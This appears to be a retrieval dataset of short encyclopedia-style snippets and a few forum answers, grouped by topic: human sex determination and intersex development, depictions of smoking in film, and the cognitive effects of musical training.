Y chromosome causes the development of the testes in males, and the subsequent release of hormones which cause the paramesonephric ducts to regress. In females, the mesonephric ducts regress.\nDivergent sexual development, known as intersex, can be a result of genetic and hormonal factors. Sex determination Most mammals, including humans, have an XY sex-determination system: the Y chromosome carries factors responsible", "adult sexual orientation can be explained in terms of the bisexual nature of the developing fetus: he believed that in every embryo there is one rudimentary neutral center for attraction to males and another for attraction to females. In most fetuses, the center for attraction to the opposite sex developed while the center for attraction to the same sex regressed, but in fetuses that became homosexual, the reverse occurred. Simon LeVay has criticized Hirschfeld's theory of an early bisexual stage of development, calling it confusing; LeVay maintains that Hirschfeld failed to distinguish between saying that the brain is sexually undifferentiated", "has an XY pair, is relevant to the development of intersex conditions.\nDuring fertilization, the sperm adds either an X (female) or a Y (male) chromosome to the X in the ovum. This determines the genetic sex of the embryo. During the first weeks of development, genetic male and female fetuses are \"anatomically indistinguishable\", with primitive gonads beginning to develop during approximately the sixth week of gestation. The gonads, in a \"bipotential state\", may develop into either testes (the male gonads) or ovaries (the female gonads), depending on the consequent events. Through the seventh week, genetically female and genetically male fetuses", "contact with male genitalia or male products (sperm, spermatophores) during or immediately after copulation\". Development In typical prenatal development, sex organs originate from a common primordium during early gestation and differentiate into male or female sexes. The SRY gene, usually located on the Y chromosome and encoding the testis determining factor, determines the direction of this differentiation. The absence of it allows the gonads to continue to develop into ovaries.\nThereafter, the development of the internal, and external reproductive organs is determined by hormones produced by certain fetal gonads (ovaries or testes) and the cells' response to them. The initial appearance", "fetus, including its brain. This results in sexual differences between males and females. This fact has led some scientists to test in various ways the result of modifying androgen exposure levels in mammals during fetus and early life. Birth order Recent studies found an increased chance of homosexuality in men whose mothers previously carried to term many male children. This effect is nullified if the man is left-handed.\nKnown as the fraternal birth order (FBO) effect, this theory has been backed up by strong evidence of its prenatal origin, although no evidence thus far has linked it to an exact prenatal", "this is where the sexual determining factor on the Y chromosome (SRY) is transferred to the X chromosome due to an unequal crossing over, this gene indicated what gender the individual should be and causes the development of testes, causing the individual to be phenotypically male but genotypically female, the resulting individual is (information needed).", "identity were well characterized, which is why the term is usually used to describe the dissonance between gonadal histology and external genital appearance.\nThe term \"intersexuality\" was introduced by Richard Goldschmidt in 1923. However, the term \"intersex\" has also been challenged; the Lawson Wilkins Pediatric Endocrine Society and the European Society for Pediatric Endocrinology have adopted a nomenclature system based on disorders of sex development (DSD), which covers \"congenital conditions in which development of chromosomal, gonadal, or anatomical sex is atypical\" and thus replaces many disparate terms, including but not limited to those based on \"hermaphrodite\".\nWhile it adopted the term to", "studied in depth as possible causes of homosexuality.\nBlanchard (1996) and Zucker (2007) came to the general conclusion that birth order has some influence over sexual orientation in biological males in general, and homosexual male-to-female transsexuals in specific. This phenomenon is called the \"fraternal birth order effect\". In 2000 Richard Green wrote \"Homosexual male-to-female transsexuals have a later than expected birth order and more older brothers than other subgroups of male-to-female transsexuals. Each older brother increases the odds that a male transsexual is homosexual by 40%.\" Green did not find a higher incidence of homosexuality in the younger brothers of homosexual", "in development when the testis-determining factor causes male sex organs to develop. Therefore, SRY plays an important role in sex determination. A typical male karyotype is XY. Individuals who inherit a normal Y chromosome and multiple X chromosomes are still male (such as in Klinefelter syndrome, which has an XXY karyotype). Atypical genetic recombination during crossover when a sperm cell is developing can result in karyotypes that do not match their phenotypic expression.\nMost of the time, when a developing sperm cell undergoes crossover during its meiosis, the SRY gene stays on the Y chromosome. If it is transferred to the", "sex-determination system is the most familiar, as it is found in humans. The XX/XY system is found in most other mammals, as well as some insects. In this system, most females have two of the same kind of sex chromosome (XX), while most males have two distinct sex chromosomes (XY). The X and Y sex chromosomes are different in shape and size from each other, unlike the rest of the chromosomes (autosomes), and are sometimes called allosomes. In some species, such as humans, organisms remain sex indifferent for a time after they're created; in others, however, such as fruit flies,", "sex chromosomes (the other being the Y chromosome), X-linked inheritance is determined by the sex of the parent carrying a specific gene and can often seem complex. This is because, typically, females have two copies of the X-chromosome and males have only one copy. The difference between dominant and recessive inheritance patterns also plays a role in determining the chances of a child inheriting an X-linked disorder from their parentage. Diagnosis Begin clinical laboratory evaluation of rickets with assessment of serum calcium, phosphate, and alkaline phosphatase levels. In hypophosphatemic rickets, calcium levels may be within or slightly below the reference", "or have other intersex/hermaphroditic qualities, though one would still be considered genotypically (if not necessarily phenotypically) male so long as one has a Y-chromosome. During reproduction, a male can give either an X sperm or a Y sperm, while a female can only give an X egg. A Y sperm and an X egg produce a male, while an X sperm and an X egg produce a female.\nThe part of the Y-chromosome which is responsible for maleness is the sex-determining region of the Y-chromosome, the SRY. The SRY activates Sox9, which forms feedforward loops with FGF9 and PGD2 in the", "Sexual differentiation Sex determination system Humans, many mammals, insects and other animals have an XY sex-determination system. Humans have forty-six chromosomes, including two sex chromosomes, XX in females and XY in males. The Y chromosome must carry at least one essential gene which determines testicular formation (originally termed TDF). A gene in the sex-determining region of the short arm of the Y, now referred to as SRY, has been found to direct production of a protein, testis determining factor, which binds to DNA, inducing differentiation of cells derived from the genital ridges into testes. In transgenic XX mice (and some", "individual with ambiguous genitalia should always undergo surgery to become male. The one exception to this rule is if the individual has evident female genitalia who also has extra external structures.\nRabbi Eliezer Waldenberg (1915–2006), author of the book Tzitz Eliezer, contends that generally, gender is solely dependent on external anatomy. And thus, even if one has the internal characteristics or chromosomal conformation of one sex yet exhibits the genitalia of the other sex, their sex follows their external anatomy. In a case of true androgyny, i.e. where the individual has both male and female genitalia, the person should be turned", "The criteria for classification can be genitalia at birth or chromosomal typing before birth, and they do not necessarily agree with one another\". The differentiation between gender and sex did not arise until the late 1970s, when researchers began using \"gender\" and \"sex\" as two separate terms, with \"gender\" referring to one's self-identity and \"sex\" referring to one's chromosomal makeup and sex organs. The binary of male and female leaves out everyone who does not fit into these categories because of genital make up, chromosomes, or hormone levels. Anne Fausto-Sterling addresses the issues facing intersex people in her article The", "determined at the time of fertilization; a chromosome from the sperm cell, either X or Y, fuses with the X chromosome in the egg cell. Gonadal sex refers to the gonads, that is the testis or ovaries, depending on which genes are expressed. Phenotypic sex refers to the structures of the external and internal genitalia. \nA human fetus does not develop its external sexual organs until seven weeks after fertilization. The fetus appears to be sexually indifferent, looking neither like a male or a female. Over the next five weeks, the fetus begins producing hormones that cause its sex organs", "of sex determination In 1982, Singh and his colleagues discovered that a tiny portion of the short arm of sex-determining Y chromosome was necessary and sufficient to convert a female mouse to male. This fundamental discovery provided a new concept of Chromosomal translocation of sex-determining region from Y chromosome to X chromosomes causing sex reversal in mice. These findings later became the foundation for the discovery of a similar phenomenon of sex reversal in humans. DNA-based molecular diagnostics Until 1998, India did not have an adequate facility for diagnosis of genetic disorders, prevalent in the country. The fundamental research carried" ]

[ "[Herbal cigarettes](_URL_0_) are very popular among actors who don't want to harm themselves by smoking tobacco. I'm sure every prop department has packs of herbal cigarettes that are made to look like your everyday run of the mill tobacco cigarette." ]

[ "scenes in any movie was prohibited, including any old or historical movies where, some argued, smoking was necessary to make the depiction accurate. If producers wished to show a character smoking, the scene would have to be accompanied by a note saying that smoking is injurious to health, along with disclaimers at the beginning and end of films.\nDuring the tobacco ban, the use of tobacco was still implied in movies and television, even if it was not explicitly shown; it was \"sung and danced about\" instead. So Bollywood, in conjunction with tobacco companies, was still able to get around", "did they risk their image by smoking on screen. Even the villains were classy about the tobacco use, smoking cigars in three-piece suits as they plotted their evil plans. However, the modern day heroes have brought a new tradition of \"lighting up a cigarette while performing martial arts stunts.\" Influenced by Western cinema such as Hollywood films, the heroes in Bollywood movies now have more suave, attitude, and machismo, all which appears to be complemented by the use of cigarettes. As noted by the WHO study, the occurrence of \"good guys\" in films smoking or using tobacco has gone", "2 October 2013. In film Bollywood has a long history of depicting characters smoking. According to a WHO study, tobacco is portrayed in 76% of Bollywood films, with cigarettes making up 72% of all the portrayals. Even though chewing tobacco and bidis account for the majority of tobacco use in India, cigarettes do make up 20% of the market. Prior to the 1990s, Bollywood portrayed smoking primarily as the vice of villains. The heroes portrayed in classic films were the \"poor-but-proud\" types. They rescued damsels in distress, performed heroic feats, and beat up gangs of bad guys single-handedly, but never", "a strong anti-smoking message, because it doesn't need to: Everyone knows that smoking is bad for you, including people who continue to do it.\"\nThere is no point during the film at which any of the characters smoke. Dargis of The New York Times unwittingly states, \"Thank You for Smoking is rated R (Under 17 requires accompanying parent or adult guardian). It includes mild violence, discreet sex and, of course, countless cigarettes.\" In the film, even Robert Duvall's filtered cigarette maverick \"The Captain\" is shown repeatedly drinking mint juleps rather than smoking cigarettes. Some critics argue that Reitman's reluctance to show", "it happened, but it didn't.\" Although the filmmakers did not receive any creative interference from Disney regarding Walt Disney's depiction, the studio did request that they omit any onscreen inhalation of cigarettes (a decision that Hanks himself disagreed with) due to the company's policy of not directly depicting smoking in films released under the Walt Disney Pictures banner, and to avoid receiving an R-rating from the Motion Picture Association of America. Instead, Disney is shown extinguishing a lit cigarette in one scene, stating that nobody can see him smoking due to the effect it would have on his image. Additionally,", "is considered to have bad morals. “But smoking is for everyone, man or woman.” Rayhana herself fled Algeria in 2000, following terrorist attacks in which many of her friends were killed. Filming Due to the nude scenes in the film, the production could not use a hamam in Algeria or Turkey. Instead, they chose to film in a hamam in Thessaloniki, Greece. Reception The film received universal accolades, and has been screened at international film festivals around the world. It has a 100% audience rating on Rotten Tomatoes. According to the Hollywood Reporter's Jordan Mintzer, Smoke is a \"fairly gripping", "Smoking/No Smoking Plot \"Smoking\" and \"No Smoking\" are two segments of the film which are based on closely connected plays. The original plays covered eight separate stories, which have been pared down to three each for these movies. At a certain point in the story of each segment, the five female characters (all played by Sabine Azema) and the four male characters (all played by Pierre Arditi) have their lives skillfully recapped in terms of \"what might have happened\" if they had made or failed to make certain choices. For example, \"No Smoking\" focuses chiefly on the relationship between the", "the issue of secondary smoke, although both leading actors insisted that \"The Boys\" was not a network disease-of-the-week movie. \"The secondary smoke is certainly an important aspect of the story,\" Lithgow said. \"One man is dying because the other man smokes. It's an important little turn of the plot, but it's sort of the last thing I think about. This is not an advocacy film, in my mind, at all.\" \"But (secondary smoke) is the motor of the story,\" Woods said. \"It's the deus ex machina, if you will, that propels the story. It causes this almost repressed friendship to", "cast as the Young Smoking Man, spent considerable time studying how Davis smokes cigarettes to make sure that he would smoke them the same way, thereby preserving continuity. Owens would reprise his role as a young version of The Smoking Man again in the episode \"Demons\", and he would also play Jeffrey Spender (the son of The Smoking Man) in subsequent seasons. The episode was the first in the series to not feature Mulder, and it featured Scully only in archival footage from \"Pilot\". While it was not the intention of the show's writers to give the lead actors \"a", "the characters smoking is further confirmation of the film's anti-smoking stance. Reitman has issued statements disagreeing with this view. He said in an interview that \"While it's not anti-smoking, it's very important people don't think that this is a pro-smoking movie. It's about freedom of choice.\" Buckley said about the decision to omit smoking that \"[I]t was very deliberate, and I think rather cool.\" Industry reaction The tobacco industry itself has been reluctant to take any sides or comment on the film. When New York Times reporter Michael Jankowsky contacted an Altria publicist about the tobacco giant's reaction, she \"hesitated", "Winston Churchill for his cigars. Sherlock Holmes, the fictional detective created by Sir Arthur Conan Doyle smoked a pipe, cigarettes, and cigars. The DC Vertigo comic book character, John Constantine, created by Alan Moore, is synonymous with smoking, so much so that the first storyline by Preacher creator, Garth Ennis, centered around John Constantine contracting lung cancer. Professional wrestler James Fullington, while in character as \"The Sandman\", is a chronic smoker in order to appear \"tough\".\nThe problem of smoking at home is particularly difficult for women in many cultures (especially Arab cultures), where it may not be acceptable for a", "the film to release in 2013 but it was delayed as he had filed a petition challenging Cigarettes and Tobacco Products Act, which makes it compulsory for filmmakers to crop or mask any scenes depicting the use of any tobacco, in India. However, Bombay High Court refused to give any concessions. The Central Board of Film Certification required a \"Smoking is Injurious to Health\" static warning to be posted in the lower right corner of the frame whenever a character in the film is shown smoking. Kashyap fought this regulation stating, \"it's the Health Ministry that should take the responsibility", "with seemingly everyone onscreen from the loftiest haciendero to the lowliest tobacco roller casually lighting up fearsome-looking cigars made from uncut tobacco leaf; one character actually suffers asthma attacks if he can't get his regular nicotine fix, from the tightly rolled cigars that only Romero knows how to make.", "crime thrillers, cigarette smoke often frames characters and is frequently used to add an aura of mystique or nihilism. One of the forerunners of this symbolism can be seen in Fritz Lang's Weimar era Dr Mabuse, der Spieler, 1922 (Dr Mabuse, the Gambler), where men mesmerized by card playing smoke cigarettes while gambling.\nFemale smokers in film were also early on associated with a type of sensuous and seductive sexuality, most notably personified by German film star Marlene Dietrich. Similarly, actors like Humphrey Bogart and Audrey Hepburn have been closely identified with their smoker persona, and some of their most famous", "the movie and hence it is a punishable offence to appear smoking in cinemas. Following this, reports claimed that the actor was in discussions with the director for the removal of such contents from the film. Marketing The first official poster of the film was released on 28 March 2013. A thirty-second teaser featuring only Dhanush only released on 29 March 2013. On 31 March 2013, another 40-second teaser with a musical score was released that showed Dhanush with a spear in his hand, diving into deep sea in a breath and hunting on the seabed. The third teaser of", "be pleasantly surprised by Anurag Kashyap's film, a slick thriller that combines a screwball sensibility with a nightmarish twist\". Tajpal Rathore from BBC Films gave it 1 out of 5 and said \"No Smoking is a surprisingly sincere effort, but shouldn't make your life feel any more fulfilled, even if you are a smoker. The shoddy screenplay is stale, and its situations laughable, and though the actors' give it their all, it just doesn't light up in the end. No smoke, and no fire, in what is ultimately a bit of a drag\". Box office The film was screened in", "No Smoking (1951 film) Plot In this cartoon, we start with flashbacks featuring a \"Goofy\"-like version of Christopher Columbus, who is given a cigar by a Native American. His three ships bring it back to their country, with smoke floating from them. A man in Europe rolls a cigar with a leaf and a midget lights it with a small torch, and we see the impact of the popularity of smoking today.\nThen we fade to Goofy, in the role of George Geef, who is an extreme nicotine addict, smoking various cigarettes, cigars and pipes, as we watch him smoke during", "by Penelope Ann Miller) used one in The Shadow, as did Jade in Jonny Quest. Comedian Phyllis Diller had a stage persona which included holding a long cigarette holder from which she pretended to smoke (though she was a nonsmoker in real life).\nFictional Peter Pan character Captain Hook possessed a unique double-holder, which allowed him to smoke two cigars (not cigarettes) at once. Batman's nemesis The Penguin also commonly uses a cigarette holder in the comics and the 1960s television series, as well as in the live-action film Batman Returns. Edna Mode from The Incredibles franchise is often seen with", "the other actors and becomes a major celebrity doing cigarette commercials and having troubles with the Internal Revenue Service.", "& cigarettes.\"\nThe Boys was created by production companies Papazian-Hirsch Entertainment International and William Link Productions. Writing and Filming The film was largely inspired by the lives of the film's writer William Link and his writing partner, Richard Levinson, and Levinson's death. However, the key plot point of the story didn't happen in reality. In real-life, Richard Levinson was the smoker.\nA day before the original broadcast on the ABC Network, an article with the Los Angeles Times was based on the film, under the headline \"'Til Death Do They Part\". The article stated that writer Link used to say his relationship", "to be required to wear masks and goggles, and raised concern for HBO's safety officer, who eventually prohibited further use of the black smoke due to health and safety concerns. Additional smoke was added later by the special effects team.\nThe number of extras that were utilized for filming the \"Loot Train Attack\" began with more than 600 extras, and gradually decreased as the weeks of filming went on, with 400 extras returning the following week, and ultimately concluded with approximately 100 extras, according to McLachlan. McLachlan also discussed the \"oner\" featuring Bronn, which he described as a single shot that", "be displayed on-screen during each scene where smoking is present.\nWoody Allen refused to release his film Blue Jasmine in India because he objected to anti-smoking ads that appear before and during any film that depicts smoking. \"Due to content in the film, it cannot be shown in India in its intended manner. Therefore, the film is not scheduled to play there.\" Deepak Sharma, COO of PVR Pictures, stated, \"Allen has the creative control as per the agreement. He wasn't comfortable with the disclaimer that we are required to run when some smoking scene is shown in films. He feels that", "set location at Bush Stadium indicated that cast members were letting off steam between scenes. \"Actors kidded around, rubbing dirt on each other\", the Tribune reported. \"... Actors trade jokes, smokes and candy\" in the dugout. \"'Some of them chewed tobacco at first, but,' noted Bill Irwin, 'Even the guys who were really into it started to chew apricots after a while.'\" Sheen made his reasons for taking the role clear. \"I'm not in this for cash or my career or my performance\", Sheen said. \"I wanted to take part in this film because I love baseball.\"\nWhen cloud cover would", "filmed shots of his wife and kids, then a still of himself \"with a friend of mine you might recognize,\" Raymond Burr, from the Perry Mason TV series. He then said, \"You know, I didn't really mind losing those courtroom battles, but I'm in a battle now I don't want to lose at all. Because if I lose it, it means losing my wife and those kids you just met. I've got lung cancer... So take some advice about smoking and losing from someone who's been doing both for years... If you don't smoke, don't start. If you do smoke,", "Hamm and Westfeldt are advocates of animal rescue and have adopted a mixed breed dog named Cora from the Much Love Animal Shelter in California.\nAlthough his role as Don Draper required Hamm to smoke, he stopped smoking when he was 24 years old. On set he did not smoke actual cigarettes, but rather herbal cigarettes that do not contain tobacco or nicotine.\nDuring March 2015, Hamm's representative confirmed that Hamm had recently completed inpatient treatment for alcoholism. Additionally, Hamm reported developing vitiligo during the filming of Mad Men. Sports and related endorsements Hamm is an avid golfer and tennis player, and", "to wear anything or place anything in their rooms like posters of celebrities smoking or other things that promote tobacco companies. Tobacco Company Advertisements Children are more sensitive to tobacco advertisements than adults. The three most heavily advertised cigarette brands are Marlboro, Newport, and Camel. A recent report concluded that most youth smokers prefer one of these three brands. Tobacco companies have a history of advertisement campaigns that have been highly scrutinized by the public. In 1999, Philip Morris ran a series of full-page advertisements in news magazines, which were aimed at parents and conveyed the \"forbidden fruit\" message. They", "of their own free will and that there was no proof that smoking had directly caused their sicknesses. Smoking etiquette posters JTI runs a series of posters designed to educate smokers about smoking etiquette. They can be seen widely around Japan, especially located near train stations. Poster gallery Environmental record In 2008, Japan Tobacco had health issues involving their company: Contaminated gyoza dumplings made by a Chinese company's factory in China, which sold its products to JT, poisoned ten people, including a five-year-old girl. Thousands of other Japanese people were going to the hospital because of stomach issues as well.", "his notorious smoker's cough is heard off-screen several times throughout the film. Filming Principal photography began in September 2012 in Los Angeles. Although some scenes were originally planned to be shot in Queensland, Australia, all filming, except for two establishing shots in London, took place in the Southern California area, including the Walt Disney Studios lot in Burbank, Disneyland Park in Anaheim, Big Sky Ranch in Simi Valley, the Los Angeles County Arboretum and Botanic Garden in Arcadia, Heritage Square Museum in Montecito Heights, Ontario International Airport in San Bernardino, Courthouse Square at Universal Studios, and the TCL Chinese Theatre", "cinema who has mastered Yoga.\nHe shunned smoking and drinking both on screen and off. To avoid setting a precedent among his fans, he made sure that the roles he accepted did not require him to smoke or drink or utter swear words, and extended this decision to real life. His dress code always consisted of a simple white dhoti and shirt. He spent most of his vacations in his hometown, Gajanur, near the forest area where he was later abducted.\nHe would always refer to his movie-producers as \"Anna Daataru\" (food providers) and adored fans as \"Abhimaani Devarugalu\" (Fan Gods).\nHe was", "of Hindustan Times rated it 1 star and said \"Too in-depth man, too in-depth, puffing, driving, the sex act, fingers being chopped. Kcuf, kcuf. what’s happening out here? You can’t make out, you don’t care, and you’re fed up of the affectations, the self-indulgence.\" Taran Adarsh from Bollywood Hungama giving it 1 out of 5 said \"You try so hard to understand what No Smoking tries to say, but the film is like one big puzzle that refuses to get solved. What ails No Smoking, did you ask. Simple, it's the most complicated cinematic experience of 2007. On the whole," ]

[ "Playing an instrument will definitely help with hand eye coordination, dexterity, and strenghten your fingers, hands, and forearms. This could help with simple reaction times and overall clumsyness. \n\nIf you are learning how to read sheet music or any sort of music theory that will help you with reading comprehension and critical thinking. \n\nMy opinion is it IS helping. You are now excercising your brain (and hands) more than you used to in a fun/rewarding way. It is making you excited to learn and practice and that mentality is now affecting other parts of your life.\n\nHaving said that, sports/excercise will help you more with reaction time and coordination. Studying physics will help you learn physics. Practicing music will make you a better musician.\n\nHere is a video you might find interesting, it details how your brain is much more active while playing music.\n\n_URL_0_", "Probably a little of both.\n\nPlaying a musical instrument is essentially a great mental work out, and it basically forces you to develop good co\\-ordination and dexterity. If you're playing the piano or guitar, you're having to move both your hands \\(and all of your fingers\\) quickly, accurately and independently from each other.\n\nEssentially, it's training you to do lots of different things, quickly and accurately, at the same time" ]

[ "found suggesting that learning music can improve various aspects of memory. For instance, children who participated in one year of instrumental musical training showed improved verbal memory, whereas no such improvement was shown in children who discontinued musical training. Similarly, adults with no previous musical training who participated in individualized piano instruction showed significantly improved performance on tasks designed to test attention and working memory compared to a healthy control group. Evidence suggests that the improvements to verbal, working and long-term memory associated to musical training are a result of the enhanced verbal rehearsal mechanisms musicians possess.", "and Stephen Nelson, the effects of musical training on neuroplasticity is looked at. Musical training is a form of experience dependent plasticity. This is when changes in the brain occur based on experiences that are unique to an individual. Examples of this are learning multiple languages, playing a sport, doing theatre, etc. A study done by Hyde in 2009, showed that changes in the brain of children could be seen in as little as 15 months of musical training. Ker and Nelson suggest this degree of plasticity in the brain's of children can \"help provide a form of intervention for", "& Baker ). For example, these studies show that when providing educators with quality musical resources, they are able to gain the confidence and the knowledge to successfully promote musical experiences during the traditional school day. On the other hand, these studies also suggest that music education has an effect on the young child’s social, emotional, physical, and intellectual development. Music education in relationship to cognitive development has been acknowledged throughout history (Dewey; Gardner; Collins, Griess, Carither, & Castillo ). For example, in the areas of language and literacy development young children have the propensity to", "on to explain that young children construct musical understanding through movement. Gordon looked at movement as an important learning process that the body must undergo in order for the learner to gain a comprehensive understanding of various elements of music, such as rhythm and melody. The child’s singing voice and musical instruments Giving students the autonomy to pursue music has shown positive results in students acquiring an interest of the subject. For example, Kemple, Batey, and Hartle suggest that exploration and play become vehicles for musical growth. When young children are given access to play a simple instrument, they", "degree of control over the choice and use of music. Musical aptitude Musical aptitude refers to a person's innate ability to acquire skills and knowledge required for musical activity, and may influence the speed at which learning can take place and the level that may be achieved. Study in this area focuses on whether aptitude can be broken into subsets or represented as a single construct, whether aptitude can be measured prior to significant achievement, whether high aptitude can predict achievement, to what extent aptitude is inherited, and what implications questions of aptitude have on educational principles.\nIt is an issue", "any games) are very important in creating a good learning environment. The outcomes that a player achieves while playing a game are what makes playing games compelling and interesting; outcomes in education (both grades, and amount of knowledge that student will gain as a result of learning) are effective, only if the syllabi and curricula are compelling to learners and the assignments that are used to measure students' learning motivate students. Students will learn when they put effort and time into their studies, and they will be engaged in their learning if they believe that the possible outcome is worth", "form of instruction.\nMusic education has also been noted to have the ability to increase someones overall IQ, especially in children during peak development years. Spacial ability, verbal memory, reading and mathematic ability are seen to be increased alongside music education (primarily through the learning of an instrument). Researchers also note that a correlation between general attendance and IQ increases is evident, and due to students involvement in music education, general attendance rates increase along with their IQ.\nFine motor skills, social behaviours, and emotional well being can also be increased through music and music education. The learning of an instrument", "students, eurhythmics activities often imitate play. Games include musical storytelling, which associates different types of music with corresponding movements of the characters in a story. The youngest of students, who are typically experiencing their first exposure to musical knowledge in a eurhythmics class, learn to correlate types of notes with familiar movement; for example the quarter note is represented as a \"walking note.\" As they progress, their musical vocabulary is expanded and reinforced through movement.\nPerformance-Based Applications\nWhile eurhythmics classes can be taught to general populations of students, they are also effective when geared toward music schools, either preparing students to begin", "Music learning theory The field of music education contains a number of learning theories that specify how students learn music based on behavioral and cognitive psychology. Classical Learning Theory While formal music education has roots going at least as far back as the Hebrews in Egypt or the ancient Greeks, challenges arose as music became more specialized and technically complex after the 5th century BCE in Ancient Greece and as the development of notation shifted music education from training in singing to training in music reading. Educators and theorists such as Odo of Cluny and Guido d'Arezzo in the 10th", "lot of research done in identifying the learning effectiveness in game based learning. Learner characteristics and cognitive learning outcomes have been identified as the key factors in research on the implementation of games in educational settings. In the process of learning a language through an online game, there is a strong relationship between the learner's prior knowledge of that language and their cognitive learning outcomes. For the people with prior knowledge of the language, the learning effectiveness of the games is much more than those with none or less knowledge of the language. Other learning theories Other learning theories have", "with personality types of agreeableness and neuroticism. While some studies have shown that musical training can be correlated with music that evoked mixed feelings as well as higher IQ and test of emotional comprehension scores, other studies refute the claim that musical training affects perception of emotion in music. It is also worth noting that previous exposure to music can affect later behavioral choices, schoolwork, and social interactions. Therefore, previous music exposure does seem to have an effect on the personality and emotions of a child later in their life, and would subsequently affect their ability to perceive as", "has been proven that children with musical training improve their capabilities abstraction, psychomotor response, mediate and immediate memory, oral expression of feelings and complex concepts, besides presenting a healthy trend towards social integration. Music is an ideal gateway to the consequent appreciation of other artistic expressions and academic disciplines in general.\" But to Sergio Berlioz despite the develop of abilities is the deep meaning of music in live: \" music not only improves the ability to think and direction and quality objectives; humanizes the meaning of actions is a conglomerate, a multivitamin for the person who give oneself to it", "market, a surprising number of sometimes dramatic stories of cognitive development have emerged spontaneously from customer testimonials . While these success stories with Piano Wizard are anecdotal, not scientific, they are compelling, and often very moving. There is significant scientific research on the effects of music training, especially piano, on the brain. The newest advances in neuroscience, especially the latest technologies like functional MRI, Petscans, diagnostic EKGs, etc. allow scientists to measure the \"neuroplasticity\" and impact of music on cognitive development. In fact, music training is emerging as a kind of supertonic, having a \"metaplastic\" effect on the brain, impacting", "areas beyond the educational curriculum. Beliefs about the play-learning relationship According to Linda Longley and colleagues, experts and parents have different beliefs about the relationship between play activities and learning. While parents ascribe more learning value to structured play activities (e.g., educational videos), experts identify structured activities as \"non-play\" and associate less learning value with these activities compared to unstructured activities (make-believe, or pretend, play). Knowledge acquisition Forty years of research has shown positive correlation between play and children's learning. This has led many to conclude that play is beneficial for all learning. However, many such findings may be", "interplay between these types that the difficulty lies in making sense of musical complexity. For this reason, little useful information has emerged from investigating the relationship between musical complexity and eye movement.\nJacobsen (1941:213) concluded that \"the complexity of the reading material influenced the number and the duration of [fixations]\"; where the texture, rhythm, key and accidentals were \"more difficult\", there was, on average, a slowing of tempo and an increase in both the duration and the number of fixations in his participants. However, performance tempos were uncontrolled in this study, so the data on which this conclusion was based are", "response properties of neurons. Critical periods are important for the development of the brain for the function from a pattern of connectivity. In general, the early auditory environment influences the structural development and response specificity of the primary auditory cortex. Musical ability Absolute pitch manifests itself almost always before adolescence and rarely if ever among individuals who are first exposed to music after mid-childhood, suggesting that exposure to music or similar phenomena (e.g., tonal languages) in early to mid-childhood is a necessary condition for its development or refinement. Studies that ask musicians and non-musicians to sing or hum", "Educators National Conference, who claimed that \"Music enhances knowledge in the areas of mathematics, science, geography, history, foreign language, physical education, and vocational training.\" Researchers at the University of Wisconsin suggested that students with piano or keyboard experience performed 34% higher on tests that measure spatial-temporal lobe activity, which is the part of the brain that is used when doing mathematics, science, and engineering.\nAn experiment by Wanda T. Wallace setting text to melody suggested that some music may aid in text recall. She created a three verse song with a non-repetitive melody; each verse with different music. A second", "James Mursell James Mursell (1893–1963) wrote extensively about music education and the use of music in a classroom setting. He emphasized the student's role in learning and believed that unless students are intrinsically motivated to learn, their musical growth will be minimal at best. In Mursell's view the best motivator is the active, participatory musical experience—singing, playing, listening and being actively involved with good music. This is the all-important starting point for motivation, and it is from these experiences that musical growth can occur. \nHe applies his \"synthesis-analysis-synthesis\" (or whole-part-whole) pattern of learning to music education, and speaks of musical", "important information from generation to generation in pre-literate societies Neuroscience evidence Melodic learning appears to derive its effectiveness from the special nature of music and singing's activity pattern in the human brain. A series of books published in the 2000s by noted neuroscientists document the unique relationship between music and our brains, including Musicophilia by Oliver Sacks, This Is Your Brain On Music by Daniel Levitin, and Music, Language, and the Brain by Aniudh Patel. History An earworm is a portion of a song that repeats itself inside one's head. As recently as 2005, researchers discovered that the earworm is", "education improves math, for example. Researchers Glenn Schellenberg and Eugenia Costa-Giomi also criticize advocates incorrectly associating correlation with causation, Giomi pointing out that while there is a \"strong relationship between music participation and academic achievement, the causal nature of the relationship is questionable.\" Philosophers David Elliott and Marissa Silverman suggest that more effective advocacy involves shying away from \"dumbing down\" values and aims through slogans and misleading data, energy being better focused into engaging potential supporters in active music-making and musical-affective experiences, these actions recognizing that music and music-making are inherent to human culture and behavior, distinguishing humans from other", "complexity that helped influence him to pay special attention to rhythmic aspects of music.\nJaques-Dalcroze also had an important friendship with Édouard Claparède, the renowned psychologist. In particular, their collaboration resulted in eurhythmics often employing games of change and quick reaction in order to focus attention and increase learning. Current applications General Education\nEurhythmics classes are often offered as an addition to general education programs, whether in preschools, grade schools, or secondary schools. In this setting, the objectives of eurhythmics classes are to introduce students with a variety of musical backgrounds to musical concepts through movement without a specific performance-related goal.\nFor younger", "In the same degree, Simply Music declares musicality essential to human nature. Adherents identify many everyday activities as fundamentally musical because these activities thoughtlessly fall into patterns of rhythm and pitch. As examples they cite speaking, walking, and brushing teeth. Simply Music seeks both to draw on and to nurture this natural ability by distilling musical concepts into simple patterns.\nStudents use these patterns to begin playing songs in their first lessons. This method is modeled after primary language acquisition, where learners begin by speaking. Many other music education approaches—including Orff Schulwerk and the Dalcroze, Kodály, and Suzuki methods—engage students physically", "Gordon's research suggests that music aptitude is normally distributed in the general population similar to intellectual aptitude. His research also suggests that music aptitude that a child is born with can only be maintained with repeated positive exposure to musical experiences soon after (or even before) birth, up until approximately age 9 where a child reaches \"stabilized\" music aptitude.\nThe 1920s and 30s heralded the creation of aptitude and achievement tests by Carl Seashore, E. Thayer Gaston, H.D. Wing, Arnold Bentley, and Edwin Gordon in an effort to identify students who were most likely to benefit from private instruction. Gordon created", "retained much more information than the passively taught students. The actively taught students were also found to have greater cerebral cortex activation. It should also be noted that the passively taught students weren't wasting their time; they, along with the active group, displayed greater left hemisphere activity, which is typical in trained musicians.\nResearch suggests we listen to the same songs repeatedly because of musical nostalgia. One major study, published in the journal Memory & Cognition, found that music enables the mind to evoke memories of the past. Attention Treder et al. identified neural correlates of attention when listening to simplified", "used to enhance cognitive achievement in students. In the United States an estimated 30% of students struggle with reading, while 17% are reported as having a specific learning disability linked to reading. Using intensive music curriculum as an intervention paired alongside regular classroom activities, research shows that students involved with the music curriculum show increases in reading comprehension, word knowledge, vocabulary recall, and word decoding. When a student is singing a melody with text, they are using multiple areas of their brain to multitask. Music effects language development, increases IQ, spatial-temporal skills, and improves test scores. Music education has", "stages in their lives. Because very young children learn primarily through play, the program provides a fun, relaxed environment with a nonformal teaching approach.\nSome critics of this and other early childhood music programs have questioned whether an organized class is necessary to teach children a basic life skill such as singing. However, children can no longer reliably learn music skills from their surrounding environment, as they could several generations ago, due to a steady decrease in live music-making activities available to them. A study done by 